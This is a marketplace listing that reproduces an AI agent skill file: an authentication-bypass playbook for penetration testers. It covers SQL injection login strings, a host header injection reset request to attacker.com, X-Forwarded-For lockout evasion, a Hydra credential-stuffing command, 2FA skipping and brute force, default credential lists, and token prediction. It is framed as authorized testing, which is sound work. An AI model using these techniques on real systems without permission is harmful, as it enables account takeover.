PluginBench
Skill
Fail
Audit score 45

authbypass-authentication-flaws

yaklang/hack-skills

Authentication bypass testing playbook for login flows, password reset, MFA, and token flaws.

What is authbypass-authentication-flaws?

Expert attack playbook for assessing authentication mechanisms including SQL injection login bypass, password reset vulnerabilities, account enumeration, brute-force resistance, and multi-factor authentication weaknesses. Use when testing login flows, account recovery, token predictability, and session boundary flaws in web applications.

  • SQL injection-based login bypass techniques for legacy systems and raw query code
  • Password reset vulnerability testing including token predictability, expiration, and reuse
  • Account enumeration via error messages, response timing, and registration endpoints
  • Brute-force bypass strategies including lockout reset cycles, IP rotation, and credential stuffing
  • Multi-factor authentication bypass including session cookies before 2FA completion and TOTP code brute-force
  • OAuth/SSO account takeover patterns and email claim trust vulnerabilities

How to install authbypass-authentication-flaws

npx skills add https://github.com/yaklang/hack-skills --skill authbypass-authentication-flaws
Claude Code
Cursor
Windsurf
Cline

How to use authbypass-authentication-flaws

  1. 1.Identify the authentication mechanism type (form-based, OAuth, SSO, multi-factor)
  2. 2.Start with SQL injection tests on login fields using basic bypass payloads
  3. 3.Test password reset flow for token predictability, expiration, and reuse vulnerabilities
  4. 4.Enumerate valid accounts using error message differences and timing analysis
  5. 5.Attempt brute-force bypass using lockout reset cycles and IP rotation techniques
  6. 6.Test MFA implementation for session cookies set before 2FA completion and code brute-force resistance
  7. 7.Document all findings with proof-of-concept payloads and remediation recommendations

Use cases

Good for
  • Testing legacy web applications with custom authentication code for SQL injection vulnerabilities
  • Assessing password reset flows for token predictability and host header injection risks
  • Identifying valid usernames through error message differences and timing oracles
  • Evaluating brute-force protections by testing lockout mechanisms and IP-based bypass techniques
  • Verifying MFA implementation completeness across login and sensitive actions
Who it's for
  • Security researchers conducting authentication penetration tests
  • Bug bounty hunters assessing login mechanisms
  • Application security engineers validating authentication implementations
  • Penetration testers evaluating account takeover risks
  • DevSecOps teams testing legacy system authentication

authbypass-authentication-flaws FAQ

What's the difference between this skill and JWT/OAuth token attacks?

This skill focuses on the login mechanism itself (SQL injection, password reset, brute-force, MFA bypass). JWT/OAuth token attacks are covered separately and focus on token validation, signature verification, and token manipulation after authentication.

Should I test with real user accounts?

Only test with authorized credentials or dedicated test accounts. Never attempt account takeover on real user accounts without explicit written permission from the system owner.

How do I test password reset tokens for predictability?

Request 3-5 consecutive password reset emails and compare the token patterns. Look for timestamps, sequential numbers, MD5 hashes of email/username, or other reversible patterns. Short tokens (4-6 digits) are brute-forceable.

What's the difference between reverse brute-force and credential stuffing?

Reverse brute-force tries one password against many users to avoid account lockout. Credential stuffing uses breached credentials from other sources (like HaveIBeenPwned) against the target application.

How do I test if 2FA is properly enforced?

Check if session cookies are issued before 2FA completion, test if 2FA codes can be brute-forced without lockout, verify 2FA is required on sensitive actions (not just login), and test if backup codes are rate-limited and single-use.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: authbypass-authentication-flaws description: >- Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

SKILL: Authentication Bypass — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert authentication bypass techniques. Covers SQL injection-based login bypass, password reset flaws, token predictability, account enumeration, brute force bypass, and multi-factor auth bypass. Distinct from JWT/OAuth (covered in ../jwt-oauth-token-attacks/SKILL.md). Focus on the login mechanism itself.

0. AUTHORIZED CREDENTIAL TEST PLANNING

After reducing routing entries, default credentials, username variants, port focus, and wordlist sizing are handled here in one place.

Service-first tiny sets

Service TypeFirst UsernamesFirst Passwords
phpMyAdminroot, adminempty, root, phpmyadmin, admin
FTPftp, admin, testempty, ftp, admin, 123456
SSHroot, admin, service account namesroot, admin, seasonal variants
MySQLroot, mysqlempty, root, mysql
Tomcat / Java admintomcat, admin, managertomcat, admin, s3cret
WebLogicweblogic, adminweblogic, welcome1, admin

Username classes

ClassExamples
Generic adminsadmin, administrator, root, test, guest
Support / opsdev, ops, sysadmin, service, backup
Name-basedfirstname, lastname, f.lastname, first.last
Mail-derivedleft side of corporate email formats
Product-basedtomcat, weblogic, jenkins, gitlab

Wordlist sizing and port focus

ScenarioPreferred SizeWhy
Default admin panel5 to 50 passwordsDefaults beat giant lists here
Internal service with known productvendor-specific small setBetter signal than generic lists
Consumer login with weak controlsTop 20 or Top 100Fast verification
Rate-limited logintiny list + header/rotation strategyPreserve attempts
Offline hash crackinglarge dictionariesOnline brute rules do not apply

Prioritize common ports and service surfaces: 80/443/8080/8443 admin panels, 22 SSH, 21 FTP, and 3306/5432/6379/27017 data or management services.


1. SQL INJECTION LOGIN BYPASS

Classic but still found in legacy systems, custom ORMs, and raw query code:

-- Basic bypass (admin user assumed first row):
Username: admin'--
Password: anything
→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'

-- Generic bypass (logs in as first user in DB):
Username: ' OR '1'='1'--
Password: anything
→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'

-- Blind: does this work?
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1

Test each field separately — only one field may be vulnerable.


2. PASSWORD RESET VULNERABILITIES

Guessable / Predictable Reset Tokens

Check if reset token is based on:

- Timestamp: token=1691234567890 (Unix time)
- Sequential: token=1001, 1002, 1003
- MD5(email): echo -n "user@example.com" | md5sum
- MD5(username+timestamp): reversible
- Short token (4-6 digits): brute-forceable

Test: Request 3 consecutive reset emails, compare token patterns.

Reset Token Not Expiring

1. Request password reset → get token via email
2. Wait 48+ hours (token should expire)
3. Use old token → does it work?

Reset Token Reuse

1. Request reset → get token T1
2. Complete reset with T1
3. Use T1 again → does it work again?

Host Header Injection in Reset Email

When application generates reset URL using Host header:

POST /forgot-password HTTP/1.1
Host: attacker.com           ← inject attacker's domain
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

→ Reset email sent to victim with link pointing to attacker.com/reset?token=VICTIM_TOKEN → Victim clicks → token captured by attacker

Test: Send password reset with modified Host:, check email for where reset link points.

Password Reset Token in Referer

1. Request reset → go to reset URL with token
2. Reset page loads third-party resources (analytics, fonts)
→ Referer header leaks: https://target.com/reset?token=TOKEN
→ Third-party server receives token in logs

Password Change Without Current Password

PUT /api/user/password
{"new_password": "hacked"}
→ No current_password field required?
→ Combine with CSRF for account takeover

3. ACCOUNT ENUMERATION

Identifying valid usernames/emails enables targeted attacks:

Error Message Difference

Invalid username → "User not found"
Valid username, wrong pass → "Incorrect password"
→ Enumerate valid accounts

Response Time Difference

Invalid username → fast response (no DB lookup)
Valid username → slightly slower (DB lookup + hash comparison)
→ Timing oracle

Password Reset Flow

POST /forgot-password {"email": "nonexistent@example.com"}
→ "If this email exists, we sent a reset link" (proper)
vs.
→ "This email is not registered" (enumeration possible)

Registration Endpoint

POST /register {"email": "victim@example.com"}
→ "Email already registered" → confirms account exists
vs.
→ "Verification email sent" for both → no enumeration

4. BRUTE FORCE BYPASS

Lockout After N Attempts Then Resets

Lockout at 10 attempts → try 9 wrong passwords → lock
Wait for reset period (usually 30 min or 1 hour)
→ Try 9 more → repeat → no permanent lockout

IP-Based Lockout Bypass

X-Forwarded-For: 1.1.1.1       ← change each request
X-Real-IP: 2.2.2.2
Rotate through IPs in header

Username Cycling vs Password Cycling

Normal brute: try many passwords for one user → lock
Reverse brute: try ONE password for many users
→ "password123" against all users → find those with weak password
→ No single account locked out

Credential Stuffing

Use breached credentials from HaveIBeenPwned datasets against target:

# Tools: Hydra, Burp Intruder, custom scripts
hydra -C credentials.txt https-post-form://target.com/login:"username=^USER^&password=^PASS^":"error message"

5. MULTI-FACTOR AUTHENTICATION BYPASS

Session Cookie Before 2FA Completion

Flow: Login (password correct) → redirect to 2FA page → enter code
Attack: After password step, session cookie is set but 2FA not yet checked.
→ Use session cookie to directly access /dashboard
→ Skip 2FA page entirely

2FA Code Brute Force

4-6 digit TOTP codes = 1,000,000 possibilities max
If no lockout on 2FA step:
→ Brute force all codes (tool: Burp Intruder, sequential)
→ TOTP windows: 30-second window, some accept previous/next window

2FA on Critical Actions Not On Login

Login doesn't require 2FA, but:
DELETE /account or POST /transfer requires 2FA
Attack: Is 2FA checked on those actions or only on login?
→ If only login: log in once → no 2FA needing verification for actions

2FA Backup Code Abuse

Generate backup codes (usually 8-10 single-use)
Test: 
→ Are backup codes rate-limited?
→ Can backup codes be used multiple times?
→ Short codes (6-8 chars)? Brute-force if no rate limit

2FA Code Reuse

TOTP codes valid for one use
→ Use same TOTP code twice → does second use work?
→ Replay attack if server doesn't track used codes

6. OAUTH / SSO ACCOUNT TAKEOVER PATTERNS

Email Claim Trust

1. Create account at attacker-controlled OAuth provider
2. Set email claim = victim@target.com
3. Link/login via that provider
→ If server trusts email claim without verification → account merge/takeover

Password Doesn't Apply After SSO Link

1. User links Google SSO
2. User forgets password (account has no password set after SSO only)
3. "Forgot Password" flow → resets password even for SSO-only accounts?  
→ Can set password → now bypass SSO → direct login

7. USERNAME / PASSWORD FIELD MANIPULATION

Long Password DoS → Bypass

Some apps hash passwords before sending to database.
bcrypt has 72-byte limit — input beyond 72 bytes is ignored.
Attack: 
→ Register with password "A"*100
→ Login with password "A"*72 → same hash → works
→ Login with "A"*71 + "totally different" → if truncation → same hash if first 72 chars match

Null Byte in Username

username=admin%00 vs username=admin
→ Null byte truncation in some string comparisons
→ "admin\0attacker" = "admin" in C-string comparison

Unicode Normalization

Username: "ⓢcott" → normalizes to "scott" → impersonates "scott"
Username: "admin" (various Unicode homoglyphs for letters a,d,m,i,n)

8. SESSION MANAGEMENT FLAWS

Session Not Invalidated on Logout

1. Log in → capture session cookie
2. Log out
3. Replay captured session cookie → still valid?
→ Session not server-side invalidated

Session Not Regenerated on Privilege Change

1. Log in as low priv → get session cookie
2. Admin upgrades your role
3. Old session cookie now has admin access?
→ Session not regenerated → old token inherits new privileges

Predictable Session Tokens

Token: base64(userid+timestamp) → reversible
Token: sequential integers → session ID= your_session_id -/+ small number
Token: short random (32-bit entropy) → brute-forceable

9. AUTHENTICATION TESTING CHECKLIST

□ Try SQL injection on login fields (' OR 1=1--)
□ Test password reset: predict token, host header injection, Referer leak
□ Test account enumeration via error messages / timing
□ Check 2FA: skip step (direct URL), brute force codes, reuse codes
□ Test brute force protections: X-Forwarded-For bypass, reverse brute
□ Check session invalidation on logout
□ Check session regeneration after privilege change
□ Test password change requiring current password  
□ Test long passwords (bcrypt 72-byte truncation)
□ OAuth/SSO: test email claim trust, password set after SSO
□ Check remember_me tokens: how long, revocable, predictable?

10. PASSWORD RESET ATTACK MATRIX (22 Patterns)

#PatternDescription
1Predictable reset tokenToken based on timestamp, user ID, or sequential number
2Token not bound to userUse token generated for user A to reset user B
3Token in response bodyReset token returned in HTTP response (not just email)
4Token in URL parameterReset link token visible in Referer header to external resources
5No token expirationToken remains valid indefinitely
6Token reuseSame token works multiple times
7Short/brute-forceable token4-6 digit numeric code without rate limiting
8Password reset via host headerHost: attacker.com → reset link sent with attacker's domain
9Registration overwrites existing accountRegister with same email → overwrites password
10Step skip (frontend only)Jump directly to "set new password" step via URL
11Response manipulationChange {"status":"fail"} to {"status":"success"} in proxy
12Verification code in responseSMS/email code returned in API response
13Parallel session resetStart reset for A, complete with B's session
14Email/phone parameter pollutionemail=victim@x.com&email=attacker@x.com
15Unicode normalizationadmin@target.com vs ADMIN@target.com vs Unicode confusables
16SQL injection in resetEmail field injectable in reset query
17IDOR on reset endpointChange user ID in reset confirmation request
18Cross-protocol resetMobile API doesn't validate same token as web
19Default security questionsGuessable answers, no rate limit
20Token generation race conditionMultiple simultaneous requests generate same token
21Logout doesn't invalidate resetAfter password change, old sessions still work
22Reset link cached by CDN/proxyPublic cache stores reset link with token

11. CAPTCHA/VERIFICATION BYPASS PATTERNS (20 Methods)

#MethodHow
1Remove captcha parameterDelete captcha field from request
2Send empty captchacaptcha= or captcha=null
3Reuse previous captchaSame captcha value works multiple times
4Captcha not bound to sessionUse captcha solved in session A for session B
5Server-side validation missingCaptcha checked client-side only
6Response manipulationIntercept and change response to bypass
7Change request methodPOST→GET or vice versa may skip captcha check
8JSON content-typeSwitch from form to JSON — captcha handler may not process
9OCR bypassSimple captchas solvable with tesseract/ML
10Audio captcha weaknessAudio often simpler than visual
11SMS code in responseVerification code returned in API response body
12SMS code predictableSequential or time-based codes
13No rate limit on code verificationBrute-force 4-6 digit code
14Code not bound to phone/emailUse code sent to phone A on account B
15Code doesn't expireOld codes remain valid
16Null byte in phone number+1234567890%00 bypasses dedup but delivers to same number
17Case sensitivityEmail: Admin@X.com vs admin@x.com
18Space/encoding in identifieruser@x.com vs user@x.com (trailing space)
19Concurrent requestsRace condition: send verify before captcha loads
20Third-party captcha bypassMisconfigured reCAPTCHA site key allows any domain

12. INSECURE RANDOMNESS — TOKEN PREDICTION

UUID v1 (Time-Based — Predictable!)

UUID v1 format: timestamp-clock_seq-node(MAC)
# MAC address often leaked via other endpoints
# Timestamp is 100ns intervals since 1582-10-15
# Tool: guidtool (reconstruct possible UUIDs from known timestamp range)

MongoDB ObjectId

ObjectId = 4-byte timestamp + 5-byte random + 3-byte counter
# First 4 bytes = Unix timestamp → creation time leaked
# Counter is sequential → adjacent ObjectIds predictable
# If you know one ObjectId, nearby ones are calculable

PHP uniqid()

uniqid() = hex(microtime)
// Output: 5f3e7a4c1d2b3
// Entirely based on current microsecond timestamp
// Predictable if you know approximate server time

PHP mt_rand() Recovery

# mt_rand() uses Mersenne Twister PRNG
# After observing ~624 outputs, full internal state is recoverable
# Tool: openwall/php_mt_seed
# Feed known outputs → recover seed → predict all future values

Tools

  • guidtool — UUID v1 reconstruction
  • AethliosIK/reset-tolkien — Automated token prediction for password resets
  • openwall/php_mt_seed — PHP mt_rand seed recovery
  • sandwich — Token timestamp analysis